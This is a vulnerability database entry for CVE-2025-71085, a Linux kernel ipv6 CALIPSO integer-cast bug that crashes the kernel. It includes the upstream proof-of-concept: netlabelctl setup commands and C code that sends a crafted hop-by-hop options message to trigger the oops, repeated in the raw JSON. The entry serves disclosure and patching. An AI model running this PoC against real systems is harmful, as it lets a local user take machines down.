CVE-2025-71085

Description

In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC: Using `netlabelctl` tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0);

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 修复版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

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References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-71085
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-71085
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-71085/
[4] VulDB https://vuldb.com/cve/CVE-2025-71085
[5] https://git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1
[6] https://git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83
[7] https://git.kernel.org/stable/c/6b7522424529556c9cbc15e15e7bd4eeae310910
[8] https://git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570
[9] https://git.kernel.org/stable/c/86f365897068d09418488165a68b23cb5baa37f2
[10] https://git.kernel.org/stable/c/bf3709738d8a8cc6fa275773170c5c29511a0b24
[11] https://git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-71085", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-13T16:16:08.117", "lastModified": "2026-03-25T18:57:30.837", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead < 0) at\nnet/core/skbuff.c:2232 in pskb_expand_head().\nThis bug is triggered as part of the calipso_skbuff_setattr()\nroutine when skb_cow() is passed headroom > INT_MAX\n(i.e. (int)(skb_headroom(skb) + len_delta) < 0).\n\nThe root cause of the bug is due to an implicit integer cast in\n__skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n        netlabelctl map del default\n        netlabelctl calipso add pass doi:7\n        netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n        Then run the following PoC:\n\n        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n        // setup msghdr\n        int cmsg_size = 2;\n        int cmsg_len = 0x60;\n        struct msghdr msg;\n        struct sockaddr_in6 dest_addr;\n        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n                        sizeof(struct cmsghdr) + cmsg_len);\n        msg.msg_name = &dest_addr;\n        msg.msg_namelen = sizeof(dest_addr);\n        msg.msg_iov = NULL;\n        msg.msg_iovlen = 0;\n        msg.msg_control = cmsg;\n        msg.msg_controllen = cmsg_len;\n        msg.msg_flags = 0;\n\n        // setup sockaddr\n        dest_addr.sin6_family = AF_INET6;\n        dest_addr.sin6_port = htons(31337);\n        dest_addr.sin6_flowinfo = htonl(31337);\n        dest_addr.sin6_addr = in6addr_loopback;\n        dest_addr.sin6_scope_id = 31337;\n\n        // setup cmsghdr\n        cmsg->cmsg_len = cmsg_len;\n        cmsg->cmsg_level = IPPROTO_IPV6;\n        cmsg->cmsg_type = IPV6_HOPOPTS;\n        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n        sendmsg(fd, &msg, 0);"}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nipv6: BUG() en pskb_expand_head() como parte de calipso_skbuff_setattr()\n\nExiste un oops del kernel causado por un BUG_ON(nhead &lt; 0) en net/core/skbuff.c:2232 en pskb_expand_head(). Este error se activa como parte de la rutina calipso_skbuff_setattr() cuando a skb_cow() se le pasa un headroom &gt; INT_MAX (es decir, (int)(skb_headroom(skb) + len_delta) &lt; 0).\n\nLa causa raíz del error se debe a una conversión implícita de entero en __skb_cow(). La comprobación (headroom &gt; skb_headroom(skb)) tiene como objetivo asegurar que delta = headroom - skb_headroom(skb) nunca sea negativo, de lo contrario, activaremos un BUG_ON en pskb_expand_head(). Sin embargo, si headroom &gt; INT_MAX y delta &lt;= -NET_SKB_PAD, la comprobación pasa, delta se vuelve negativo y a pskb_expand_head() se le pasa un valor negativo para nhead.\n\nCorregir la condición de activación en calipso_skbuff_setattr(). Evitar pasar tamaños de 'headroom' 'negativos' a skb_cow() dentro de calipso_skbuff_setattr() utilizando únicamente skb_cow() para aumentar el headroom.\n\nPoC:\n\tUsando la herramienta 'netlabelctl':\n\n        netlabelctl map del default\n        netlabelctl calipso add pass doi:7\n        netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n        Luego ejecute el siguiente PoC:\n\n        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n        // setup msghdr\n        int cmsg_size = 2;\n        int cmsg_len = 0x60;\n        struct msghdr msg;\n        struct sockaddr_in6 dest_addr;\n        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n                        sizeof(struct cmsghdr) + cmsg_len);\n        msg.msg_name = &amp;dest_addr;\n        msg.msg_namelen = sizeof(dest_addr);\n        msg.msg_iov = NULL;\n        msg.msg_iovlen = 0;\n        msg.msg_control = cmsg;\n        msg.msg_controllen = cmsg_len;\n        msg.msg_flags = 0;\n\n        // setup sockaddr\n        dest_addr.sin6_family = AF_INET6;\n        dest_addr.sin6_port = htons(31337);\n        dest_addr.sin6_flowinfo = htonl(31337);\n        dest_addr.sin6_addr = in6addr_loopback;\n        dest_addr.sin6_scope_id = 31337;\n\n        // setup cmsghdr\n        cmsg-&gt;cmsg_len = cmsg_len;\n        cmsg-&gt;cm

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